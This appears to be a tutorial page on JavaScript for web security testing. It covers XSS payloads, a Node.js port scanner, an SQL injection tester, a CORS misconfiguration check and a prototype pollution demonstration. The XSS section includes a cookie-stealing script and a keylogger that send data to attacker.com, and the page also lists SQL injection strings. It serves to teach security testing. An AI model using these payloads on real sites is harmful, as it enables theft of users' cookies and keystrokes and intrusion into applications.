JavaScript for Cyber Security

Master JavaScript for web security - XSS exploitation, DOM manipulation, Node.js security tools, and browser security model.


Why JavaScript for Security

JavaScript runs in every browser and on servers via Node.js. It is essential for web security testing, XSS exploitation, and building browser-based security tools.

  • Web security core - XSS, CSRF, and DOM manipulation all involve JavaScript
  • Burp extensions - Many Burp Suite extensions use JavaScript for client-side testing
  • Browser tools - Security browser extensions and DevTools scripts use JS
  • Node.js tools - Many modern security tools (nuclei, hakrawler) are built with Node.js
  • Payloads - XSS payloads, prototype pollution, and DOM clobbering use JS

JavaScript Basics

javascript
// Variables and types
let target = "http://vulnerable.com";
const ports = [80, 443, 8080];
var isSecure = false;  // Avoid var

// Objects for structured data
const scanResult = {
    target: "192.168.1.1",
    openPorts: [22, 80, 443],
    vulnerabilities: [],
    isAlive: true
};

// Functions
function checkPort(host, port) {
    return new Promise((resolve) => {
        const socket = new WebSocket(`ws://${host}:${port}`);
        socket.onopen = () => resolve(true);
        socket.onerror = () => resolve(false);
    });
}

// Arrow functions
const scanPorts = async (host, ports) => {
    const results = [];
    for (const port of ports) {
        const isOpen = await checkPort(host, port);
        results.push({ port, isOpen });
    }
    return results;
};

XSS Exploitation

Common XSS payloads for testing web applications.

javascript
// Basic XSS payload
<script>alert('XSS')</script>

// Cookie stealing
<script>
new Image().src="http://attacker.com/steal?c="+document.cookie;
</script>

// Keylogger
<script>
document.onkeypress=function(e){
    fetch("http://attacker.com/log?key="+e.key)
}
</script>

// DOM-based XSS
<script>
document.getElementById("output").innerHTML = location.hash.slice(1);
</script>

// SVG XSS
<svg onload=alert('XSS')>
Legal Notice

Only test XSS on applications you own or have explicit permission to test. Unauthorized testing is illegal.

Node.js Security Tools

Build security tools using Node.js for automation and testing.

javascript
const https = require('https');
const http = require('http');

// Simple port scanner
function scanPort(host, port) {
    return new Promise((resolve) => {
        const req = http.request({
            host: host,
            port: port,
            timeout: 500,
            method: 'HEAD'
        }, () => resolve(true));

        req.on('error', () => resolve(false));
        req.on('timeout', () => {
            req.destroy();
            resolve(false);
        });

        req.end();
    });
}

// SQL injection tester
async function testSQLi(url) {
    const payloads = ["' OR 1=1--", "' UNION SELECT NULL--"];

    for (const payload of payloads) {
        try {
            const response = await fetch(`${url}?id=${payload}`);
            const text = await response.text();

            if (text.includes('error') || text.includes('SQL')) {
                console.log(`Vulnerable with: ${payload}`);
                return true;
            }
        } catch (e) {
            console.log(`Error: ${e.message}`);
        }
    }
    return false;
}

Browser Security

Understanding the browser security model for web security testing.

CORS Misconfiguration

javascript
// Test for CORS misconfiguration
async function testCORS(url) {
    const response = await fetch(url, {
        method: 'GET',
        credentials: 'include',
        headers: {
            'Origin': 'https://attacker.com'
        }
    });

    const acao = response.headers.get('Access-Control-Allow-Origin');
    const acac = response.headers.get('Access-Control-Allow-Credentials');

    if (acao === 'https://attacker.com' && acac === 'true') {
        console.log('CORS misconfiguration found!');
        return true;
    }
    return false;
}

// Cookie analysis
function analyzeCookies() {
    const cookies = document.cookie.split(';');
    cookies.forEach(cookie => {
        const [name, value] = cookie.trim().split('=');
        console.log(`${name}: ${value}`);
    });
}

Prototype Pollution

A JavaScript vulnerability where attacker-controlled properties are merged into object prototypes.

javascript
// Vulnerable merge function
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            target[key] = merge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Attack payload
const payload = JSON.parse('{"__proto__":{"admin":true}}');
merge({}, payload);

// Check if pollution worked
const obj = {};
console.log(obj.admin);  // true - prototype polluted!

Resources